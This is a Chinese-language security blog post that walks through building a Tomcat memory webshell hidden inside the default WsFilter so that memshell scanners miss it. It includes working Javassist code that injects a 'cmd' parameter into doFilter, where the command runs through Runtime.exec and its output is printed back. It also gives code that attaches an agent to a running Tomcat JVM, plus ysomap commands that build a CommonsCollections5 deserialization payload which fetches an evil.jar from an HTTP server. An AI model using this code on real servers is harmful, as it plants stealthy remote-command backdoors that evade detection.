瞒天过海计之Tomcat隐藏内存马
“备周则意怠;常见则不疑。阴在阳之内,不在阳之对。”
----《三十六计·瞒天过海》
0x00 前言
关于这篇文章其实源自逛先知的一次经历,看到@4ra1n师傅写的一篇《从一个被Tomcat拒绝的漏洞到特殊内存马》,原文链接是:https://xz.aliyun.com/t/10577。看完之后顿时就提起了兴趣,4ra1n师傅在文章中指出该方法大致有两点问题:
- 需要替换依赖中的Jar包,并重写目标WsFilter类
- 替换好的依赖还需要重启Tomcat才能加载成功
因此在利用过程中会存在很大程度的限制,于是乎我就想有没有更好的办法能够降低利用所需的必备条件。
0x01 隐藏内存马原理
先来看一下4ra1n师傅提出的隐藏内存马,实质上就是替换Tomcat默认的WsFilter类。同时因为Memshell检测工具的原理实质上是发现是否有多余的Filter注册,而默认的情况下WsFilter是会存在的,因此达到瞒天过海的目的。
Memshell检测工具地址:https://github.com/c0ny1/java-memshell-scanner/blob/master/tomcat-memshell-scanner.jsp
再来看看修改WsFilter的doFilter方法后的内容
0x02 Javassist改写目标类
原理既然已经了解了,就开始寻找怎样能够降低利用成本,达到改写WsFilter的目的。
如果了解过Java字节码的伙伴应该就对javassist工具类不陌生了,这里我的想法就是通过javassist来修改目标WsFilter中的代码,并动态写入我的恶意后门代码。
private static final String HOOK_CLASS = "org.apache.tomcat.websocket.server.WsFilter"; try { ClassPool pool = ClassPool.getDefault(); //ClassPool pool = new ClassPool(true); ClassClassPath classPath = new ClassClassPath(this.getClass()); pool.insertClassPath(classPath); //将当前ClassLoader添加到ClassPath pool.appendClassPath(new LoaderClassPath(loader)); pool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader())); pool.appendSystemPath(); // the same class path as the default one. pool.childFirstLookup = true; CtClass ctClass = pool.get(HOOK_CLASS); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter",new CtClass[]{pool.get("javax.servlet.ServletRequest"),pool.get("javax.servlet.ServletResponse"),pool.get("javax.servlet.FilterChain")}); ctMethod.insertBefore("String cmd = $1.getParameter(\"cmd\");" + " if (cmd != null && !cmd.equals(\"\")) {" + " Process process = Runtime.getRuntime().exec(cmd);" + " StringBuilder outStr = new StringBuilder();" + " $2.getWriter().print(\"<pre>\");" + " java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());" + " java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);" + " String s = null;" + " while ((s = stdInput.readLine()) != null) {" + " outStr.append(s + \"\\n\");" + " }" + " $2.getWriter().print(outStr.toString());" + " $2.getWriter().print(\"</pre>\");" + " }"); System.out.println("Access In Method"); return ctClass.toBytecode(); } catch (Throwable e) { System.out.println("Access In ExceptionCatch Method"); e.printStackTrace(); }
打包的时候一定要使用assembly的方式把javassist的依赖也打包进jar包中
mvn clean assembly:assembly
之后会在target目录出现ProjectName-jar-with-dependencies.jar的文件,之后再Tomcat启动的时候用-javaagent:/tmp/ProjectName-jar-with-dependencies.jar的方式运行agent即可使用后门。
0x03 JVM API动态注入Agent
上述方式虽然已经可以动态改写WsFilter了,但是还需要重启Tomcat才能使JVM中携带-javaagent的方式运行,因此整个利用过程中最致命的问题还未解决。
为了解决这个办法,我想到了动态加载Agent的方式,也就是通过调用JVM的API来加载Agent到目标jvm进程中。但是jvm中默认是不加载这些API的,因此需要用URLClassLoader的方式将相关的API加载进jvm中,对应的路径就是Tools.jar
URL url1 = new URL("file:C:\\Program Files\\Java\\jdk1.8.0\\lib\\tools.jar"); URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { url1 }, Thread.currentThread() .getContextClassLoader());
再然后将需要用的类加载到Map中
Class<?> virtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine"); classMap.put("com.sun.tools.attach.VirtualMachine", virtualMachine); Class<?> hostIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.HostIdentifier"); classMap.put("sun.jvmstat.monitor.HostIdentifier", hostIdentifier); Class<?> monitorException = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitorException"); classMap.put("sun.jvmstat.monitor.MonitorException", monitorException); Class<?> monitoredHost = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredHost"); classMap.put("sun.jvmstat.monitor.MonitoredHost", monitoredHost); Class<?> monitoredVm = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVm"); classMap.put("sun.jvmstat.monitor.MonitoredVm", monitoredVm); Class<?> monitoredVmUtil = urlClassLoader.loadClass("sun.jvmstat.monitor.MonitoredVmUtil"); classMap.put("sun.jvmstat.monitor.MonitoredVmUtil", monitoredVmUtil); Class<?> vmIdentifier = urlClassLoader.loadClass("sun.jvmstat.monitor.VmIdentifier"); classMap.put("sun.jvmstat.monitor.VmIdentifier", vmIdentifier);
后续就只用通过反射来调用loadAgent来加载目标jar包,但是该jar包只允许本地的,因此需要通过远程下载的方式将jar包下载到临时目录,然后加载。
try { Object hostId = classMap.get("sun.jvmstat.monitor.HostIdentifier").getDeclaredConstructor(String.class).newInstance("localhost"); Method getMonitoredHost = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredHost",classMap.get("sun.jvmstat.monitor.HostIdentifier")); Object mHost = getMonitoredHost.invoke(classMap.get("sun.jvmstat.monitor.MonitoredHost"),hostId); Method activeVms = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("activeVms"); Set jvms = (Set) activeVms.invoke(mHost); for (Iterator j = jvms.iterator(); j.hasNext(); ) { int lvmid = ((Integer) j.next()).intValue(); //System.out.println(String.valueOf(lvmid)); try { String vmidString = "//" + lvmid + "?mode=r"; Object id = classMap.get("sun.jvmstat.monitor.VmIdentifier").getDeclaredConstructor(String.class).newInstance(vmidString); Method getMonitoredVm = classMap.get("sun.jvmstat.monitor.MonitoredHost").getMethod("getMonitoredVm",classMap.get("sun.jvmstat.monitor.VmIdentifier"),int.class); Object vm = getMonitoredVm.invoke(mHost,id,0); Method mainClass = classMap.get("sun.jvmstat.monitor.MonitoredVmUtil").getMethod("mainClass",classMap.get("sun.jvmstat.monitor.MonitoredVm"),boolean.class); String mainName = (String) mainClass.invoke(classMap.get("sun.jvmstat.monitor.MonitoredVmUtil"),vm,false); if(mainName.equals("Bootstrap")) { Method attach = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("attach", String.class); Object vMachine = attach.invoke(classMap.get("com.sun.tools.attach.VirtualMachine"),String.valueOf(lvmid)); Method loadAgent = classMap.get("com.sun.tools.attach.VirtualMachine").getMethod("loadAgent", String.class); loadAgent.invoke(vMachine,System.getProperty("java.io.tmpdir") + "TomcatAgent.jar"); //临时Agent的路径 System.out.println("Load Agent Successful!"); } }catch (Exception e) { e.printStackTrace(); } finally { } } } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); }
这样一来,就无需再重启Tomcat即可修改WsFilter的内容,达到降低利用的标准,但是又引出了新的问题出来:
- 因为要动态注入Agent到jvm中,因此需要调用JVM的API,也就是需要知道Tools.jar的绝对路径
- VirtualMachine.loadAgent()方法之能加载本地的jar,因此需要下载远程jar到本地再加载,因此需要目标机器能够出网。
0x04 YsoMap工具的Bullet编写
刚好前几天看到Skay表姐发布的YsoMap分析文章,就研究了一点点,并借此机会写一个新的Bullet利用模块,以达到通过反序列化漏洞的方式加载上述编写的Tomcat隐藏内存马。
这次编写共添加了两个Bullet,一个用于生成恶意agent的ClassWithTomcatConcealedMemShell类,并启动Http服务;另一个就是通过反序列化CC链来生成恶意的Payload的TransformerWithTomcatConcealedMemShellBullet类。
具体代码如下:
这里会调用getObject来生成jar包,并读取jar包的字节流到内存并返回
public static byte[] makeClassWithMemShell(String classname) throws Exception { ClassPool pool = new ClassPool(true); pool.appendClassPath(new ClassClassPath(AppRunStart.class)); CtClass cc = pool.getCtClass(AppRunStart.class.getName()); cc.setName(classname.replaceAll("/",".")); return cc.toBytecode(); }
其中AppRunStart.class就是之前的反射调用JVM API加载agent的代码
再来看看运行该bullet之后的事情
同样的,再来看看反序列化生成CC链的bullet
必要的参数有以上四个,再来看看该bullet中的getObject方法的实现
这里其实就是调用对应类的(String,String)的构造方法,同时将远程的jarUrl地址和jdk下Tools.jar的绝对路径作为参数传入进去。
0x05 模拟攻击测试
将改写好的ysomap直接用mvn打包好运行(这里其实有个坑,打包好的ysomap不能运行在包含中文的目录下,因为我在生成恶意Agent的时候会把agent的模板作为资源文件放入到ysomap中了,因此中文路径下可能会造成中文编码从而找不到路径)
首先先调用生成恶意Agent的bullet
#java -jar ./ysomap.jar cli #ysomap > use exploit SimpleHTTPServer #ysomap > use payload EvilFileWrapper #ysomap > use bullet ClassWithTomcatConcealedMemShell
设置好模块之后,就跟MSF的使用很相似了,设置对应的参数
按照要求设置完成对应的参数后运行run
之后访问http://127.0.0.1:2334/evil.jar就能访问到生成的恶意Agent
创建完后记得不要用clear清楚掉当前的session
直接用session c的方式创建一个新的session来生成CC链Payload
#ysomap >session c #ysomap >use payload CommonsCollections5 #ysomap >use bullet TransformerWithTomcatConcealedMemShellBullet #ysomap >set className org.test.evil.RunApp #ysomap >set jarUrl http://127.0.0.1:2334/evil.jar #ysomap >set jdkToolsPath "file:C:\\Program Files\\Java\\jdk1.8.0_181\\lib\\tools.jar" #ysomap >set encoder base64 #ysomap >set output console
设置完后运行bullet得到payload如下:
运行tomcat后我这里就随便写个反序列化漏洞来执行payload
之后访问后门
0x06 后续
个人感觉是非常不错的一款反序列化利用工具,操作简便,可扩展性也很强,就是相关Wiki补充的还比较少,导致设置encoder和output参数时候只能通过手撕代码才能知道这两个参数。文章中的相关代码我已经联系wh1t3p1g师傅并提交pr了,感兴趣的小伙伴可以上GitHub上拉取下来自己编译一下。
0x07 Reference
[1].https://xz.aliyun.com/t/10577
[2].https://github.com/wh1t3p1g/ysomap
[3].https://github.com/c0ny1/java-memshell-scanner/blob/master/tomcat-memshell-scanner.jsp